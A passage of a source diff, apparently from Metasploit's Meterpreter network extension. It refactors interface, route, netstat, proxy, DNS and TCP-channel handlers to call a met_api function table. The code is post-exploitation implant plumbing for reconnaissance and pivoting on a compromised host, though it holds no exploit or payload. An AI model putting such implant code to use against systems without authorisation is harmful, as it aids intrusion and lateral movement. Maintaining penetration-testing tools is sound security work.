packet_add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr);
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr);
|
||||
}
|
||||
}
|
||||
|
||||
// Add the interface group
|
||||
packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
|
||||
met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
|
||||
}
|
||||
|
||||
free(table);
|
||||
@ -144,19 +145,19 @@ DWORD get_interfaces(Remote *remote, Packet *response)
|
||||
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
|
||||
pPrefix = pCurr->FirstPrefix;
|
||||
|
||||
Packet* group = packet_create_group();
|
||||
Packet* group = met_api->packet.create_group();
|
||||
|
||||
dprintf("[INTERFACE] Adding index: %u", pCurr->IfIndex);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex);
|
||||
|
||||
dprintf("[INTERFACE] Adding MAC");
|
||||
packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength);
|
||||
|
||||
dprintf("[INTERFACE] Adding Description");
|
||||
packet_add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description);
|
||||
met_api->packet.add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description);
|
||||
|
||||
dprintf("[INTERFACE] Adding MTU: %u", pCurr->Mtu);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu);
|
||||
|
||||
for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress;
|
||||
pAddr; pAddr = pAddr->Next)
|
||||
@ -191,24 +192,24 @@ DWORD get_interfaces(Remote *remote, Packet *response)
|
||||
dprintf("[INTERFACE] Adding Prefix: %x", prefix);
|
||||
// the UINT value is already byte-swapped, so we add it as a raw instead of
|
||||
// swizzling the bytes twice.
|
||||
packet_add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix));
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix));
|
||||
}
|
||||
|
||||
if (sockaddr->sa_family == AF_INET)
|
||||
{
|
||||
dprintf("[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr);
|
||||
packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[INTERFACE] Adding IPv6 Address");
|
||||
packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16);
|
||||
packet_add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD));
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD));
|
||||
}
|
||||
|
||||
}
|
||||
// Add the interface group
|
||||
packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
|
||||
met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
|
||||
}
|
||||
|
||||
out:
|
||||
@ -222,13 +223,13 @@ out:
|
||||
*/
|
||||
DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
result = get_interfaces(remote, response);
|
||||
|
||||
// Transmit the response if valid
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
@ -1,5 +1,7 @@
|
||||
#include "precomp.h"
|
||||
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Note: both connection_entry and connection_table were moved from
|
||||
// common.h into here because:
|
||||
// 1) connection_table contains a zero-length array which causes all C++
|
||||
@ -564,12 +566,14 @@ DWORD get_connection_table(Remote *remote, Packet *response)
|
||||
connection[6].header.length = (DWORD)strlen((char*)current_connection->program_name) + 1;
|
||||
connection[6].buffer = (PUCHAR)(current_connection->program_name);
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7);
|
||||
met_api->packet.add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7);
|
||||
}
|
||||
dprintf("sent %d connections", table_connection->entries);
|
||||
|
||||
if (table_connection)
|
||||
{
|
||||
free(table_connection);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -579,12 +583,12 @@ DWORD get_connection_table(Remote *remote, Packet *response)
|
||||
*/
|
||||
DWORD request_net_config_get_netstat(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result;
|
||||
|
||||
result = get_connection_table(remote, response);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
@ -26,7 +27,7 @@ typedef BOOL (WINAPI * PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)(
|
||||
DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_NOT_SUPPORTED;
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
HMODULE hWinHttp = NULL;
|
||||
PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER pProxyFun = NULL;
|
||||
@ -49,20 +50,20 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect);
|
||||
met_api->packet.add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect);
|
||||
|
||||
if (proxyConfig.lpszAutoConfigUrl) {
|
||||
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl);
|
||||
met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl);
|
||||
GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl);
|
||||
}
|
||||
|
||||
if (proxyConfig.lpszProxy) {
|
||||
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy);
|
||||
met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy);
|
||||
GlobalFree((HGLOBAL)proxyConfig.lpszProxy);
|
||||
}
|
||||
|
||||
if (proxyConfig.lpszProxyBypass) {
|
||||
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass);
|
||||
met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass);
|
||||
GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass);
|
||||
}
|
||||
|
||||
@ -74,7 +75,7 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
|
||||
FreeLibrary(hWinHttp);
|
||||
}
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
DWORD add_remove_route(Packet *request, BOOLEAN add);
|
||||
|
||||
@ -7,7 +8,7 @@ DWORD add_remove_route(Packet *request, BOOLEAN add);
|
||||
*/
|
||||
DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD index;
|
||||
DWORD metric_bigendian;
|
||||
@ -62,7 +63,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
|
||||
route[4].header.length = sizeof(DWORD);
|
||||
route[4].buffer = (PUCHAR)&metric_bigendian;
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE,
|
||||
met_api->packet.add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE,
|
||||
route, 5);
|
||||
}
|
||||
|
||||
@ -73,7 +74,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
|
||||
if(table_ipv6)
|
||||
free(table_ipv6);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -83,13 +84,13 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_net_config_add_route(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
result = add_remove_route(packet, TRUE);
|
||||
|
||||
// Transmit the response packet
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -99,13 +100,13 @@ DWORD request_net_config_add_route(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_net_config_remove_route(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result;
|
||||
|
||||
result = add_remove_route(packet, FALSE);
|
||||
|
||||
// Transmit the response packet
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -121,9 +122,9 @@ DWORD add_remove_route(Packet *packet, BOOLEAN add)
|
||||
LPCSTR netmask;
|
||||
LPCSTR gateway;
|
||||
|
||||
subnet = packet_get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING);
|
||||
netmask = packet_get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING);
|
||||
gateway = packet_get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING);
|
||||
subnet = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING);
|
||||
netmask = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING);
|
||||
gateway = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING);
|
||||
|
||||
memset(&route, 0, sizeof(route));
|
||||
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
@ -64,8 +65,8 @@ DWORD net_tlv_pack_local_addrinfo(SocketContext *sock_ctx, Packet *packet)
|
||||
return ERROR_OUTOFMEMORY;
|
||||
}
|
||||
|
||||
packet_add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost);
|
||||
packet_add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport);
|
||||
met_api->packet.add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost);
|
||||
met_api->packet.add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport);
|
||||
free(localhost);
|
||||
localhost = NULL;
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#include <winsock2.h>
|
||||
@ -59,14 +60,14 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s
|
||||
|
||||
DWORD request_resolve_host(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
LPCSTR hostname = NULL;
|
||||
struct in_addr addr;
|
||||
struct in6_addr addr6;
|
||||
u_short ai_family = AF_INET;
|
||||
int iResult;
|
||||
|
||||
hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);
|
||||
hostname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);
|
||||
|
||||
if (!hostname)
|
||||
{
|
||||
@ -75,17 +76,17 @@ DWORD request_resolve_host(Remote *remote, Packet *packet)
|
||||
}
|
||||
else
|
||||
{
|
||||
ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
|
||||
ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
|
||||
iResult = resolve_host(hostname, ai_family, &addr, &addr6);
|
||||
if (iResult == NO_ERROR)
|
||||
{
|
||||
if (ai_family == AF_INET)
|
||||
{
|
||||
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
|
||||
} else {
|
||||
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
|
||||
}
|
||||
packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -93,19 +94,19 @@ DWORD request_resolve_host(Remote *remote, Packet *packet)
|
||||
}
|
||||
}
|
||||
|
||||
packet_transmit_response(iResult, remote, response);
|
||||
met_api->packet.transmit_response(iResult, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_resolve_hosts(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
Tlv hostname = {0};
|
||||
int index = 0;
|
||||
int iResult;
|
||||
u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
|
||||
u_short ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
|
||||
|
||||
while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS )
|
||||
while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS )
|
||||
{
|
||||
struct in_addr addr = {0};
|
||||
struct in6_addr addr6 = {0};
|
||||
@ -116,19 +117,19 @@ DWORD request_resolve_hosts(Remote *remote, Packet *packet)
|
||||
{
|
||||
if (ai_family == AF_INET)
|
||||
{
|
||||
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
|
||||
} else {
|
||||
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult);
|
||||
packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0);
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, NULL, 0);
|
||||
}
|
||||
packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
|
||||
}
|
||||
|
||||
packet_transmit_response(NO_ERROR, remote, response);
|
||||
met_api->packet.transmit_response(NO_ERROR, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for functionality that handles TCP client operations.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "tcp.h"
|
||||
|
||||
/*!
|
||||
@ -119,7 +120,7 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context
|
||||
free_tcp_client_context(ctx);
|
||||
|
||||
// Set the native channel operations context to NULL
|
||||
channel_set_native_io_context(channel, NULL);
|
||||
met_api->channel.set_native_io_context(channel, NULL);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -187,7 +188,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx)
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead);
|
||||
|
||||
// Set the native channel operations context to NULL
|
||||
channel_set_native_io_context(ctx->channel, NULL);
|
||||
met_api->channel.set_native_io_context(ctx->channel, NULL);
|
||||
|
||||
// Sleep for a quarter second
|
||||
Sleep(250);
|
||||
@ -203,7 +204,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx)
|
||||
if (ctx->channel)
|
||||
{
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead);
|
||||
channel_write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0);
|
||||
met_api->channel.write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -230,7 +231,7 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
{
|
||||
Channel *channel = NULL;
|
||||
TcpClientContext *ctx = NULL;
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
LPCSTR host;
|
||||
DWORD port;
|
||||
@ -244,8 +245,8 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Extract the hostname and port that we are to connect to
|
||||
host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
|
||||
port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
|
||||
host = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
|
||||
port = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
|
||||
|
||||
// Open the TCP channel
|
||||
if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel, &ctx)) != ERROR_SUCCESS)
|
||||
@ -254,13 +255,13 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Set the channel's identifier on the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(channel));
|
||||
net_tlv_pack_local_addrinfo(ctx, response);
|
||||
|
||||
} while (0);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -355,7 +356,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort);
|
||||
// Allocate an uninitialized channel for associated with this connection
|
||||
if (!(channel = channel_create_stream(0, 0, &chops)))
|
||||
if (!(channel = met_api->channel.create_stream(0, 0, &chops)))
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -372,7 +373,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE);
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify);
|
||||
|
||||
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
@ -426,7 +427,7 @@ VOID free_socket_context(SocketContext *ctx)
|
||||
|
||||
if (ctx->channel)
|
||||
{
|
||||
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
|
||||
met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL);
|
||||
ctx->channel = NULL;
|
||||
}
|
||||
|
||||
@ -434,7 +435,7 @@ VOID free_socket_context(SocketContext *ctx)
|
||||
{
|
||||
dprintf("[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
|
||||
// The scheduler calls CloseHandle on our WSACreateEvent() for us
|
||||
scheduler_signal_waitable(ctx->notify, Stop);
|
||||
met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop);
|
||||
ctx->notify = NULL;
|
||||
}
|
||||
|
||||
@ -462,16 +463,16 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
|
||||
do
|
||||
{
|
||||
dprintf("[TCP] entering request_net_socket_tcp_shutdown");
|
||||
response = packet_create_response(packet);
|
||||
response = met_api->packet.create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
cid = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
|
||||
cid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
how = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
|
||||
|
||||
channel = channel_find_by_id(cid);
|
||||
channel = met_api->channel.find_by_id(cid);
|
||||
if (!response)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE);
|
||||
@ -479,7 +480,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
|
||||
|
||||
dprintf("[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid);
|
||||
|
||||
ctx = channel_get_native_io_context(channel);
|
||||
ctx = met_api->channel.get_native_io_context(channel);
|
||||
if (!ctx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE);
|
||||
@ -498,7 +499,7 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
dprintf("[TCP] leaving request_net_socket_tcp_shutdown");
|
||||
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "tcp.h"
|
||||
|
||||
#include <ws2tcpip.h>
|
||||
@ -40,13 +41,13 @@ VOID free_tcp_server_context(TcpServerContext * ctx)
|
||||
|
||||
if (ctx->channel)
|
||||
{
|
||||
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
|
||||
met_api->channel.close(ctx->channel, ctx->remote, NULL, 0, NULL);
|
||||
ctx->channel = NULL;
|
||||
}
|
||||
|
||||
if (ctx->notify)
|
||||
{
|
||||
scheduler_signal_waitable(ctx->notify, Stop);
|
||||
met_api->scheduler.signal_waitable(ctx->notify, SchedulerStop);
|
||||
ctx->notify = NULL;
|
||||
}
|
||||
|
||||
@ -84,7 +85,7 @@ DWORD tcp_channel_server_close(Channel * channel, Packet * request, LPVOID conte
|
||||
free_tcp_server_context(ctx);
|
||||
|
||||
// Set the native channel operations context to NULL
|
||||
channel_set_native_io_context(channel, NULL);
|
||||
met_api->channel.set_native_io_context(channel, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -138,13 +139,13 @@ TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx
|
||||
chops.native.write = tcp_channel_client_write;
|
||||
chops.native.close = tcp_channel_client_close;
|
||||
|
||||
clientctx->channel = channel_create_stream(0, 0, &chops);
|
||||
clientctx->channel = met_api->channel.create_stream(0, 0, &chops);
|
||||
if (!clientctx->channel)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
dwResult = met_api->scheduler.insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -204,7 +205,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
|
||||
BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed");
|
||||
}
|
||||
|
||||
dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock);
|
||||
dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", met_api->channel.get_id(serverCtx->channel), sock);
|
||||
|
||||
clientctx = tcp_channel_server_create_client(serverCtx, sock);
|
||||
if (!clientctx)
|
||||
@ -245,20 +246,20 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
|
||||
|
||||
dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport);
|
||||
|
||||
request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
|
||||
request = met_api->packet.create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
|
||||
if (!request)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE);
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. met_api->packet.create failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel));
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel));
|
||||
packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
|
||||
packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
|
||||
met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(clientctx->channel));
|
||||
met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, met_api->channel.get_id(serverCtx->channel));
|
||||
met_api->packet.add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
|
||||
met_api->packet.add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
|
||||
met_api->packet.add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
|
||||
met_api->packet.add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
|
||||
|
||||
dwResult = packet_transmit(serverCtx->remote, request, NULL);
|
||||
dwResult = met_api->packet.transmit(serverCtx->remote, request, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -284,7 +285,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
response = met_api->packet.create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
